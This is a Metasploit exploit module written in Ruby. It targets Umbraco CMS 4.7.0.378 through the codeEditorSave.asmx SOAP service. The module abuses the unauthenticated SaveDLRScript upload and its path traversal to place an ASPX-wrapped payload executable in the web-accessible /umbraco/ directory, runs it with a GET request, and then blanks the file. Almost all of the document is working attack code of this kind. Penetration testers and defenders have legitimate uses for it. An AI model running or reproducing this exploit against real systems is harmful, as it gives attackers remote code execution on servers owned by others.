Umbraco CMS - Remote Command Execution (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE

	def initialize
		super(
			'Name'        	=> 'Umbraco CMS Remote Command Execution',
			'Description'   => %q{
					This module can be used to execute a payload on Umbraco CMS 4.7.0.378.
				The payload is uploaded as an ASPX script by sending a specially crafted
				SOAP request to codeEditorSave.asmx, which permits unauthorised file upload
				via the SaveDLRScript operation. SaveDLRScript is also subject to a path
				traversal vulnerability, allowing code to be placed into the web-accessible
				/umbraco/ directory.

				The module writes, executes and then overwrites an ASPX script; note that
				though the script content is removed, the file remains on the target. Automatic
				cleanup of the file is intended if a meterpreter payload is used.

				This module has been tested successfully on Umbraco CMS 4.7.0.378 on a Windows
				7 32-bit SP1. In this scenario, the "IIS APPPOOL\ASP.NET v4.0" user must have
				write permissions on the Windows Temp folder.
			},
			'Author'      => [
				'Toby Clarke', # Vulnerability discovery and Metasploit module
				'juan vazquez' # Improved version of the Metasploit module
			],
			'Platform'    => 'win',
			'References'  =>
				[
					[ 'URL', 'http://blog.gdssecurity.com/labs/2012/7/3/find-bugs-faster-with-a-webmatrix-local-reference-instance.html' ],
					[ 'URL', 'http://umbraco.codeplex.com/workitem/18192' ] # Item deleted for security reasons
				],
			'Targets'     =>
				[
					[ 'Umbraco CMS 4.7.0.378 / Microsoft Windows 7 Professional 32-bit SP1', { } ],
				],
			'DefaultTarget'  => 0,
			'Privileged'     => false,
			'DisclosureDate' => 'Jun 28 2012'
		)

		register_options(
			[
				OptString.new('TARGETURI', [true, 'The URI path of the Umbraco login page', '/umbraco/'])
			], self.class)
	end

	#
	# Remove the asmx if we get a meterpreter.
	#
	def on_new_session(cli)
		if cli.type != 'meterpreter'
			print_error("Meterpreter not used. Please manually remove #{@upload_random + '.aspx'}")
			return
		end

		cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")

		begin
			aspx = @upload_random + '.aspx'

			print_status("#{@peer} - Searching: #{aspx}")
			files = cli.fs.file.search("\\", aspx)
			if not files or files.empty?
				print_error("Unable to find #{aspx}. Please manually remove it.")
				return
			end

			files.each { |f|
				print_status("#{@peer} - Deleting: #{f['path'] + "\\" + f['name']}")
				cli.fs.file.rm(f['path'] + "\\" + f['name'])
			}
			print_status("#{@peer} - #{aspx} deleted")
		rescue ::Exception => e
			print_error("Unable to delete #{aspx}: #{e.message}")
		end
	end

	# Module based heavily upon Juan Vazquez's 'landesk_thinkmanagement_upload_asp.rb'
	def exploit

		@peer = "#{rhost}:#{rport}"

		# Generate the ASPX containing the EXE containing the payload
		exe = generate_payload_exe
		aspx = Msf::Util::EXE.to_exe_aspx(exe)

		# htmlentities like encoding
		aspx = aspx.gsub("&", "&amp;").gsub("\"", "&quot;").gsub("'", "&#039;").gsub("<", "&lt;").gsub(">", "&gt;")

		uri_path = target_uri.path
		uri_path.path << "/" if uri_path[-1, 1] != "/"

		@upload_random = rand_text_alpha(rand(6) + 6)

		soap = <<-eos
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
	<soap:Body>
		<SaveDLRScript xmlns="http://tempuri.org/">
			<fileName>/..\\..\\..\\umbraco\\#{@upload_random}.aspx</fileName>
			<oldName>string</oldName>
			<fileContents>#{aspx}</fileContents>
			<ignoreDebugging>1</ignoreDebugging>
		</SaveDLRScript>
	</soap:Body>
</soap:Envelope>
		eos

		#
		# UPLOAD
		#

		attack_url = uri_path + "webservices/codeEditorSave.asmx"
		print_status("#{@peer} - Uploading #{aspx.length} bytes through #{attack_url}...")
		print_status("#{@peer} - Uploading to #{uri_path}#{@upload_random}.aspx")

		res = send_request_cgi({
			'uri'          => attack_url,
			'method'       => 'POST',
			'ctype'        => 'text/xml; charset=utf-8',
			'headers'	=> {
					'SOAPAction'     => "\"http://tempuri.org/SaveDLRScript\"",
				},
			'data'         => soap,
		}, 20)

		if (! res)
			print_status("#{@peer} - Timeout: Trying to execute the payload anyway")
		elsif (res.code = 500 and res.body =~ /Cannot use a leading .. to exit above the top directory/)
			print_status("#{@peer} - Got the expected 500 error code #{attack_url} [#{res.code} #{res.message}]")
		else
			print_status("#{@peer} - Didn't get the expected 500 error code #{attack_url} [#{res.code} #{res.message}]. Trying to execute the payload anyway")
		end

		#
		# EXECUTE
		#

		upload_path = uri_path + "#{@upload_random}.aspx"
		print_status("#{@peer} - Executing #{upload_path}...")

		res = send_request_cgi({
			'uri'          =>  upload_path,
			'method'       => 'GET'
		}, 20)

		if (! res)
			print_error("#{@peer} - Execution failed on #{upload_path} [No Response]")
			return
		end

		if (res.code < 200 or res.code >= 300)
			print_error("#{@peer} - Execution failed on #{upload_path} [#{res.code} #{res.message}]")
			return
		end

		#
		# 'DELETE' - note that the file will remain on the system, but the content will be wiped.
		#

		soap = <<-eos
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
	<soap:Body>
		<SaveDLRScript xmlns="http://tempuri.org/">
			<fileName>/..\\..\\..\\umbraco\\#{@upload_random}.aspx</fileName>
			<oldName>string</oldName>
			<fileContents></fileContents>
			<ignoreDebugging>1</ignoreDebugging>
		</SaveDLRScript>
	</soap:Body>
</soap:Envelope>
		eos

		attack_url = uri_path + "webservices/codeEditorSave.asmx"
		print_status("#{@peer} - Writing #{aspx.length} bytes through #{attack_url}...")
		print_status("#{@peer} - Wrting over #{uri_path}#{@upload_random}.aspx")

		res = send_request_cgi({
			'uri'          => attack_url,
			'method'       => 'POST',
			'ctype'        => 'text/xml; charset=utf-8',
			'headers'	=> {
					'SOAPAction'     => "\"http://tempuri.org/SaveDLRScript\"",
				},
			'data'         => soap,
		}, 20)

		if (! res)
			print_error("#{@peer} - Deletion failed at #{attack_url} [No Response]")
			return
		elsif (res.code = 500 and res.body =~ /Cannot use a leading .. to exit above the top directory/)
			print_status("#{@peer} - Got the expected 500 error code #{attack_url} [#{res.code} #{res.message}]")
		else
			print_status("#{@peer} - Didn't get the code and message #{attack_url} [#{res.code} #{res.message}]")
		end
		handler
	end
end